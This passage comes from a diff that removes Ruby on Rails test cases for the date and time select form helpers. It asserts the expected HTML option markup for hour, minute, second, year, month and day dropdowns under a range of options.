-    expected << %(<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_second" name="date[second]">\n)
-    expected << %(<option value="">Seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => true, :prompt => true)
-  end
-
-  def test_select_time_with_custom_prompt
-
-    expected = %(<select id="date_hour" name="date[hour]">\n)
-    expected << %(<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_second" name="date[second]">\n)
-    expected << %(<option value="">Choose seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => true, :include_seconds => true,
-      :prompt => {:hour => 'Choose hour', :minute => 'Choose minute', :second => 'Choose seconds'})
-  end
-
-  def test_date_select
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
-
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on")
-  end
-
-  def test_date_select_without_day
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    expected = "<input type=\"hidden\" id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
-
-    expected <<  %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", :order => [ :month, :year ])
-  end
-
-  def test_date_select_without_day_and_with_disabled_html_option
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    expected = "<input type=\"hidden\" id=\"post_written_on_3i\" disabled=\"disabled\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
-
-    expected <<  %{<select id="post_written_on_2i" disabled="disabled" name="post[written_on(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_1i" disabled="disabled" name="post[written_on(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", { :order => [ :month, :year ] }, :disabled => true)
-  end
-
-  def test_date_select_within_fields_for
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    fields_for :post, @post do |f|
-      concat f.date_select(:written_on)
-    end
-
-    expected = "<select id='post_written_on_1i' name='post[written_on(1i)]'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='2009'>2009</option>\n</select>\n"
-    expected << "<select id='post_written_on_2i' name='post[written_on(2i)]'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November</option>\n<option value='12'>December</option>\n</select>\n"
-    expected << "<select id='post_written_on_3i' name='post[written_on(3i)]'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<option value='14'>14</option>\n<option selected='selected' value='15'>15</option>\n<option value='16'>16</option>\n<option value='17'>17</option>\n<option value='18'>18</option>\n<option value='19'>19</option>\n<option value='20'>20</option>\n<option value='21'>21</option>\n<option value='22'>22</option>\n<option value='23'>23</option>\n<option value='24'>24</option>\n<option value='25'>25</option>\n<option value='26'>26</option>\n<option value='27'>27</option>\n<option value='28'>28</option>\n<option value='29'>29</option>\n<option value='30'>30</option>\n<option value='31'>31</option>\n</select>\n"
-
-    assert_dom_equal(expected, output_buffer)
-  end
-
-  def test_date_select_within_fields_for_with_index
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-    id = 27
-
-    fields_for :post, @post, :index => id do |f|
-      concat f.date_select(:written_on)
-    end
-
-    expected = "<select id='post_#{id}_written_on_1i' name='post[#{id}][written_on(1i)]'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='2009'>2009</option>\n</select>\n"
-    expected << "<select id='post_#{id}_written_on_2i' name='post[#{id}][written_on(2i)]'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November</option>\n<option value='12'>December</option>\n</select>\n"
-    expected << "<select id='post_#{id}_written_on_3i' name='post[#{id}][written_on(3i)]'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<option value='14'>14</option>\n<option selected='selected' value='15'>15</option>\n<option value='16'>16</option>\n<option value='17'>17</option>\n<option value='18'>18</option>\n<option value='19'>19</option>\n<option value='20'>20</option>\n<option value='21'>21</option>\n<option value='22'>22</option>\n<option value='23'>23</option>\n<option value='24'>24</option>\n<option value='25'>25</option>\n<option value='26'>26</option>\n<option value='27'>27</option>\n<option value='28'>28</option>\n<option value='29'>29</option>\n<option value='30'>30</option>\n<option value='31'>31</option>\n</select>\n"
-
-    assert_dom_equal(expected, output_buffer)
-  end
-
-  def test_date_select_within_fields_for_with_blank_index
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-    id = nil
-
-    fields_for :post, @post, :index => id do |f|
-      concat f.date_select(:written_on)
-    end
-
-    expected = "<select id='post_#{id}_written_on_1i' name='post[#{id}][written_on(1i)]'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='2009'>2009</option>\n</select>\n"
-    expected << "<select id='post_#{id}_written_on_2i' name='post[#{id}][written_on(2i)]'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November</option>\n<option value='12'>December</option>\n</select>\n"
-    expected << "<select id='post_#{id}_written_on_3i' name='post[#{id}][written_on(3i)]'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<option value='14'>14</option>\n<option selected='selected' value='15'>15</option>\n<option value='16'>16</option>\n<option value='17'>17</option>\n<option value='18'>18</option>\n<option value='19'>19</option>\n<option value='20'>20</option>\n<option value='21'>21</option>\n<option value='22'>22</option>\n<option value='23'>23</option>\n<option value='24'>24</option>\n<option value='25'>25</option>\n<option value='26'>26</option>\n<option value='27'>27</option>\n<option value='28'>28</option>\n<option value='29'>29</option>\n<option value='30'>30</option>\n<option value='31'>31</option>\n</select>\n"
-
-    assert_dom_equal(expected, output_buffer)
-  end
-
-  def test_date_select_with_index
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-    id = 456
-
-    expected = %{<select id="post_456_written_on_1i" name="post[#{id}][written_on(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_456_written_on_2i" name="post[#{id}][written_on(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_456_written_on_3i" name="post[#{id}][written_on(3i)]">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", :index => id)
-  end
-
-  def test_date_select_with_auto_index
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-    id = 123
-
-    expected = %{<select id="post_123_written_on_1i" name="post[#{id}][written_on(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_123_written_on_2i" name="post[#{id}][written_on(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_123_written_on_3i" name="post[#{id}][written_on(3i)]">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post[]", "written_on")
-  end
-
-  def test_date_select_with_different_order
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    expected =  %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
-    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
-    expected << "</select>\n"
-
-    expected <<  %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
-    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", :order => [:day, :month, :year])
-  end
-
-  def test_date_select_with_nil
-    @post = Post.new
-
-    start_year = Time.now.year-5
-    end_year   = Time.now.year+5
-    expected =   %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
-    start_year.upto(end_year) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.year}>#{i}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.month}>#{Date::MONTHNAMES[i]}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
-    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.day}>#{i}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on")
-  end
-
-  def test_date_select_with_nil_and_blank
-    @post = Post.new
-
-    start_year = Time.now.year-5
-    end_year   = Time.now.year+5
-    expected =   %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
-    expected << "<option value=\"\"></option>\n"
-    start_year.upto(end_year) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    expected << "<option value=\"\"></option>\n"
-    1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
-    expected << "<option value=\"\"></option>\n"
-    1.upto(31) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", :include_blank => true)
-  end
-
-  def test_date_select_with_nil_and_blank_and_order
-    @post = Post.new
-
-    start_year = Time.now.year-5
-    end_year   = Time.now.year+5
-
-    expected = '<input name="post[written_on(3i)]" type="hidden" id="post_written_on_3i"/>' + "\n"
-    expected <<   %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
-    expected << "<option value=\"\"></option>\n"
-    start_year.upto(end_year) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    expected << "<option value=\"\"></option>\n"
-    1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", :order=>[:year, :month], :include_blank=>true)
-  end
-
-  def test_date_select_with_nil_and_blank_and_order
-    @post = Post.new
-
-    start_year = Time.now.year-5
-    end_year   = Time.now.year+5
-
-    expected = '<input name="post[written_on(3i)]" type="hidden" id="post_written_on_3i"/>' + "\n"
-    expected <<   %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
-    expected << "<option value=\"\"></option>\n"
-    start_year.upto(end_year) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    expected << "<option value=\"\"></option>\n"
-    1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", :order=>[:year, :month], :include_blank=>true)
-  end
-
-  def test_date_select_cant_override_discard_hour
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", :discard_hour => false)
-  end
-
-  def test_date_select_with_html_options
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="selector">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]" class="selector">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]" class="selector">\n}
